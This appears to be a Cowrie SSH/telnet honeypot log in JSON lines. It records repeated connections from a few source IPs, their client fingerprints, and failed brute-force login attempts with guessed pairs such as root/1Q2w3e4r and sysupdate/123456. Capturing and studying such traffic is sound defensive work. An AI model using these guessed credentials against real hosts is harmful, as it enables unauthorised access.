{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":52238,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c32380831b0","protocol":"ssh","message":"New connection: 192.109.200.78:52238 (10.17.0.5:22) [session: 6c32380831b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:35.555480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:35.558678Z","src_ip":"192.109.200.78","session":"6c32380831b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:35.638893Z","src_ip":"192.109.200.78","session":"6c32380831b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2w3e4r","message":"login attempt [root/1Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:35.882551Z","src_ip":"192.109.200.78","session":"6c32380831b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:36.965739Z","src_ip":"192.109.200.78","session":"6c32380831b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":52252,"dst_ip":"10.17.0.5","dst_port":22,"session":"c61a2ed60b37","protocol":"ssh","message":"New connection: 192.109.200.78:52252 (10.17.0.5:22) [session: c61a2ed60b37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:39.038348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:39.096338Z","src_ip":"192.109.200.78","session":"c61a2ed60b37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:39.273372Z","src_ip":"192.109.200.78","session":"c61a2ed60b37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"avax","password":"avax","message":"login attempt [avax/avax] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:39.554438Z","src_ip":"192.109.200.78","session":"c61a2ed60b37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:40.638330Z","src_ip":"192.109.200.78","session":"c61a2ed60b37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53048,"dst_ip":"10.17.0.5","dst_port":22,"session":"4013327abcf8","protocol":"ssh","message":"New connection: 192.109.200.78:53048 (10.17.0.5:22) [session: 4013327abcf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:42.677308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:42.680485Z","src_ip":"192.109.200.78","session":"4013327abcf8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:42.761154Z","src_ip":"192.109.200.78","session":"4013327abcf8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test123","message":"login attempt [root/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:43.006954Z","src_ip":"192.109.200.78","session":"4013327abcf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:44.090579Z","src_ip":"192.109.200.78","session":"4013327abcf8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":53610,"dst_ip":"159.203.135.109","dst_port":23,"session":"96026d3fa936","protocol":"telnet","message":"New connection: 172.81.62.90:53610 (159.203.135.109:23) [session: 96026d3fa936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:44.352038Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53072,"dst_ip":"10.17.0.5","dst_port":22,"session":"269773241a67","protocol":"ssh","message":"New connection: 192.109.200.78:53072 (10.17.0.5:22) [session: 269773241a67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:46.146130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:46.149712Z","src_ip":"192.109.200.78","session":"269773241a67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:46.233647Z","src_ip":"192.109.200.78","session":"269773241a67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysupdate","password":"123456","message":"login attempt [sysupdate/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:46.483329Z","src_ip":"192.109.200.78","session":"269773241a67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:47.567275Z","src_ip":"192.109.200.78","session":"269773241a67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53084,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6f4e4b97ffd","protocol":"ssh","message":"New connection: 192.109.200.78:53084 (10.17.0.5:22) [session: f6f4e4b97ffd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:49.385457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:49.461552Z","src_ip":"192.109.200.78","session":"f6f4e4b97ffd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:49.650761Z","src_ip":"192.109.200.78","session":"f6f4e4b97ffd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huawei@123","message":"login attempt [root/huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:49.982134Z","src_ip":"192.109.200.78","session":"f6f4e4b97ffd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.140.214.25","src_port":30889,"dst_ip":"159.203.135.109","dst_port":22,"session":"c8249ec7158e","protocol":"ssh","message":"New connection: 195.140.214.25:30889 (159.203.135.109:22) [session: c8249ec7158e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:50.741567Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:50.816303Z","src_ip":"195.140.214.25","session":"c8249ec7158e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:51.064636Z","src_ip":"192.109.200.78","session":"f6f4e4b97ffd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59096,"dst_ip":"10.17.0.5","dst_port":22,"session":"93c8078cc84f","protocol":"ssh","message":"New connection: 192.109.200.78:59096 (10.17.0.5:22) [session: 93c8078cc84f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:53.029812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:53.033345Z","src_ip":"192.109.200.78","session":"93c8078cc84f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:53.114717Z","src_ip":"192.109.200.78","session":"93c8078cc84f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc12345","message":"login attempt [root/abc12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:53.357738Z","src_ip":"192.109.200.78","session":"93c8078cc84f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":41972,"dst_ip":"10.17.0.5","dst_port":22,"session":"5454e0aea1ad","protocol":"ssh","message":"New connection: 193.37.70.224:41972 (10.17.0.5:22) [session: 5454e0aea1ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:53.522115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:53.525997Z","src_ip":"193.37.70.224","session":"5454e0aea1ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:53.618494Z","src_ip":"193.37.70.224","session":"5454e0aea1ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:53.897016Z","src_ip":"193.37.70.224","session":"5454e0aea1ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:54.441156Z","src_ip":"192.109.200.78","session":"93c8078cc84f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:54.991217Z","src_ip":"193.37.70.224","session":"5454e0aea1ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59110,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b79ef14ef7d","protocol":"ssh","message":"New connection: 192.109.200.78:59110 (10.17.0.5:22) [session: 9b79ef14ef7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:56.451310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:56.456903Z","src_ip":"192.109.200.78","session":"9b79ef14ef7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:56.538280Z","src_ip":"192.109.200.78","session":"9b79ef14ef7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ac123456","message":"login attempt [root/Ac123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:56.785092Z","src_ip":"192.109.200.78","session":"9b79ef14ef7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:57.999555Z","src_ip":"192.109.200.78","session":"9b79ef14ef7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59118,"dst_ip":"10.17.0.5","dst_port":22,"session":"10d0ac749181","protocol":"ssh","message":"New connection: 192.109.200.78:59118 (10.17.0.5:22) [session: 10d0ac749181]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:59.831887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:59.835919Z","src_ip":"192.109.200.78","session":"10d0ac749181","protocol":"ssh"}
